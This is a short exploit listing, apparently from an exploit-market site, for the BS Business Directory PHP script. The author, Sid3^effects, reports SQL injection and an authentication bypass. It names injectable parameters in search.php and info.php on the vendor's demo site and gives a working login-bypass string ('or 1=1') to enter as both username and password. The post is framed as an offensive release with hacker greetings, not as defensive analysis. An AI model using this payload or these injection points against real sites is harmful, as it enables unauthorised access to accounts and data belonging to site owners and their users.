[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Bs Business_Directory Script Sql injection / Auth bypass Vulnerability

Author
Sid3^effects
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-13156
Category
web applications
Date add
05-07-2010
Platform
php
======================================================================
Bs Business_Directory Script Sql injection / Auth bypass Vulnerability
======================================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Bs Business_Directory Script Sqli and Auth bypass Vulnerability
Date : july 5,2010
Critical Level     : HIGH
vendor URL :http://www.brotherscripts.com/
Price:$24.95
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description :
BS Business Directory Software allows people to browse and search for businesses in their area. The listings are fully detailed with

descriptions, ratings, features, photos, reviews, contact information and driving directions linked to MapQuest. Users can also open an

account and save their favorite businesses to their online note book.
Business people can also list their businesses.After the registration , they are able to select and buy a package depending on the length of

time they would like their business to be listed. Payment can be made through PayPal or 2Checkout. The subscribers will be informed about

their statistics via email - 10 days before the expiration of his account, 5 days, 1 day. 24 hours after his account expiration date, all his

listings and his account will be deleted automatically.

#######################################################################################################
Xploit :SQli Vulnerability

DEMO URL 1:http://www.brotherscripts.com/demos/Business_Directory/search.php?c=[sqli]

DEMO URL 2:http://www.brotherscripts.com/demos/Business_Directory/info.php?id=[sqli]

###############################################################################################################
Xploit : Auth Bypass

Use  ' or 1=1 or ''='  in both username and password :)

###############################################################################################################
# 0day no more
# Sid3^effects 



#  0day.today [2024-07-02]  #